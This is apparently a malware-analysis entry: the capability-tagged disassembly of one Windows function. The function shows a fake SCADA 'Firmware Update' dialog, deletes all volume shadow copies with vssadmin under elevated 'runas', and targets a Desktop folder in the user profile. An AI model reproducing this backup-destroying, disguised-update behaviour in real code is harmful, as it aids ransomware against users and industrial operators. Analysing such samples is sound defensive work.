Function at 0x405290
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c370
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x43d04c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test eax, eax
je 0x4052d0
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x1000
push str.Firmware_Update
push str.Your_SCADA_Management_Firmware_is_about_to_update._Admin_Priviledges_might_be_needed_and_the_process_will_run_on_the_background_for_a_few_minutes...
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.0040d007
push 0
push 0x989680
push edx
push eax
call fcn.0042b710
push edx
push eax
lea ecx, [ebp - 0x94]
call fcn.00402090
add esp, 8
call fcn.0040d007
mov esi, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
add esi, 0xd1d34000
adc ecx, 0x907c4ea
cmp ecx, edx
jg 0x405381
jl 0x405331
cmp esi, eax
jae 0x405381
push 1
push 0
push 0
push str.vssadmin_delete_shadows__forc:__all
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x405381
mov ecx, eax
sub ecx, 2
je 0x405374
sub ecx, 0x4c5
je 0x40536d
push eax
push str.Error:_Unable_to_execute_the_command__error_code__d__n
call fcn.00401160
add esp, 8
jmp 0x405381
push str.Error:_User_cancelled_the_operation_n
jmp 0x405379
push str.Error:_File_not_found_n
call fcn.00401160
add esp, 4
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
push str.USERPROFILE
mov dword [ebp - 4], 0
call fcn.00416365
mov edx, eax
add esp, 4
test edx, edx
je 0x4056fc
mov ecx, edx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4053d6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00408cb0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x14]
mov eax, edx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
push 0x19
push str.DesktopIMPORTANTFOLDER_
cmp eax, 0x19
jb 0x405427
cmp edx, 0x10
lea esi, [ebp - 0x28]
lea eax, [ecx + 0x19]
cmovae esi, dword [ebp - 0x28]
add esi, ecx
mov dword [ebp - 0x18], eax
push esi
call fcn.0040f720
add esp, 0xc
mov byte [esi + 0x19], 0
lea eax, [ebp - 0x28]
jmp 0x40543e
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x8c]
push 0x19
call fcn.0040b380
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x58]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
push eax
movq qword [ebp - 0x30], xmm0
call fcn.004075e0
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x4054a0
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405496
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40574e
push edx
push ecx
call fcn.0040e253
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x4054d8
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4054ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40574e
push edx
push ecx
call fcn.0040e253
add esp, 8
cmp dword [ebp + 8], 1
jle 0x4054f9
mov edx, dword [edi + 4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4054e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00408cb0
mov byte [ebp - 0x8c], 0
lea edx, [ebp - 0x58]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x40]
call fcn.0040c2a0
add esp, 4
mov edx, 3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
call fcn.004049b0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x405563
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405559
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405753
push edx
push ecx
call fcn.0040e253
add esp, 8
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x40]
push dword [ebp - 0x8c]
call fcn.0040c550
push str.USERPROFILE
mov byte [ebp - 4], 3
call fcn.00416365
mov byte [ebp - 0x8c], 0
lea edx, [ebp - 0x90]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x90], eax
call fcn.0040c510
add esp, 0xc
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x88]
call fcn.00402910
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 5
push ecx
mov ecx, eax
call fcn.004022f0
push eax
lea ecx, [ebp - 0x70]
call fcn.00402910
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x405616
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40560c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405758
push edx
push ecx
call fcn.0040e253
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x405654
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40564a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40575d
push edx
push ecx
call fcn.0040e253
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x4056a6
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40569c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40575d
push edx
push ecx
call fcn.0040e253
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.004046b0
mov edx, dword [ebp - 0x5c]
xor esi, esi
cmp edx, 8
jb 0x405701
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4056f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405762
push edx
push ecx
call fcn.0040e253
add esp, 8
jmp 0x405701
mov esi, 1
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x405731
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405727
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405762
push edx
push ecx
call fcn.0040e253
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e210
mov esp, ebp
pop ebp
ret
call fcn.00416228
call fcn.00416228
call fcn.00416228
call fcn.00416228
call fcn.00416228
int3